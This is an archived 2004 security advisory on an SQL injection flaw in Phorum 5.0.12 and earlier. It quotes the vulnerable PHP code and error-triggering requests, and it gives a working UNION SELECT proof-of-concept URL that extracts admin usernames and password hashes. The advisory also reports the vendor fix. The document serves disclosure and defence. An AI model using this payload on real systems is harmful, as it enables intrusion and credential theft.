waraxe-2004-SA037.txt

2004-11-12T00:00:00
ID PACKETSTORM:35022
Type packetstorm
Reporter Janek Vind aka waraxe
Modified 2004-11-12T00:00:00

Description

                                        
                                            `  
  
{================================================================================}  
{ [waraxe-2004-SA#037]   
}  
{================================================================================}  
{   
}  
{ [ Sql injection bug in Phorum 5.0.12 and  
older versions ] }  
{   
}  
{================================================================================}  
  
  
  
Author: Janek Vind "waraxe"  
Date: 11. November 2004  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/index.php?modname=sa&id=37  
  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Phorum is a web based message board written in PHP.  
Phorum is designed with  
high-availability and visitor ease of use in mind.  
Features such as mailing  
list integration, easy customization and simple  
installation make Phorum  
a powerful add-in to any website.  
  
Homepage: http://phorum.org/  
  
  
Vulnerabilities:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Sql injection bug, discussed here, is present in all  
Phorum 5.0.x versions,  
up to and including 5.0.12 . It is fixed in new Phorum  
version - 5.0.13 .  
First of all - user must be logged in to successful  
exploit.  
Well, let's start with looking @ source code of the  
"follow.php", line 37:  
  
---------------[ original code ]--------------------  
  
if(isset($PHORUM["args"][1])){  
$thread=$PHORUM["args"][1];  
} elseif(isset($_POST["thread"])){  
$thread=$_POST["thread"];  
}  
  
if(empty($thread)) {  
  
phorum_redirect_by_url(phorum_get_url(PHORUM_LIST_URL));  
exit();  
}  
  
$message=phorum_db_get_message($thread);  
  
---------------[/original code ]---------------------  
  
So unsanitaized user-submitted variable from POST  
request will be delivered   
to function "phorum_db_get_message($thread)". Even  
more, "if/elseif" construction  
here is WITHOUT ending "else"... So if  
'$PHORUM["args"][1]' is not set and  
'$_POST["thread"]' is also not set, then variable  
"$thread" can be victim of the  
poisoning through $_GET or $_COOKIE arrays.  
Now, let's trace execution flow further -  
"include/db/mysql.php", line 642:  
  
  
---------------[ original code ]--------------------  
  
function phorum_db_get_message($message_id){  
$PHORUM = $GLOBALS["PHORUM"];  
  
$conn = phorum_db_mysql_connect();  
  
$forum_id_check = "";  
if (!empty($PHORUM["forum_id"])){  
$forum_id_check = "(forum_id =  
{$PHORUM['forum_id']} OR forum_id=0) and";  
}  
  
$sql = "select {$PHORUM['message_table']}.* from  
{$PHORUM['message_table']} where $forum_id_check  
message_id=$message_id";  
  
$res = mysql_query($sql, $conn);  
  
if ($err = mysql_error())  
phorum_db_mysql_error("$err: $sql");  
  
---------------[/original code ]---------------------  
  
And we can see problematic sql query: "...  
$forum_id_check message_id=$message_id";  
No quotes, so sql injection must be exist. Let's try  
to provoke some error messages.  
We issue GET request like this:  
  
http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=waraxe  
  
... and there is nice error popping up:  
  
"Unknown column 'waraxe' in 'where clause': select  
phorum_messages.* from phorum_messages where  
(forum_id = 1 OR forum_id=0) and message_id=waraxe"  
Same error message appears with using another method:  
  
http://localhost/phorum5012/follow.php?forum_id=1&thread=waraxe  
  
Further exploiting depends on mysql server version. If  
it's 4.x and supports  
UNION functionality, then arbitrary information from  
database can be retrieved by any  
currently logged in user, including unprivileged one.  
Proof of concept:  
  
----------------[ real life exploit ]---------------  
  
http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1  
  
----------------[/real life exploit ]---------------  
  
... and you can see admin's uername and password's md5  
hash.  
  
  
How to fix:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Vendor contacted: 10. November 2004  
Vendor response: 10. November 2004  
  
New Phorum version 5.0.13 is available at  
http://phorum.org/downloads.php  
and has many security improvements, including fix  
against this sql injection bug.  
  
For discussion, help requests, etc -  
http://www.waraxe.us/forums.html  
  
See ya there!  
  
  
Greetings:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Greets to Raido Kerna, icenix and slimjim100!  
Tervitused - Heintz ja Maku!  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
come2waraxe@yahoo.com  
Janek Vind "waraxe"  
  
Homepage: http://www.waraxe.us/  
  
---------------------------------- [ EOF ]  
------------------------------------  
  
  
  
  
__________________________________   
Do you Yahoo!?   
Check out the new Yahoo! Front Page.   
www.yahoo.com   
  
  
`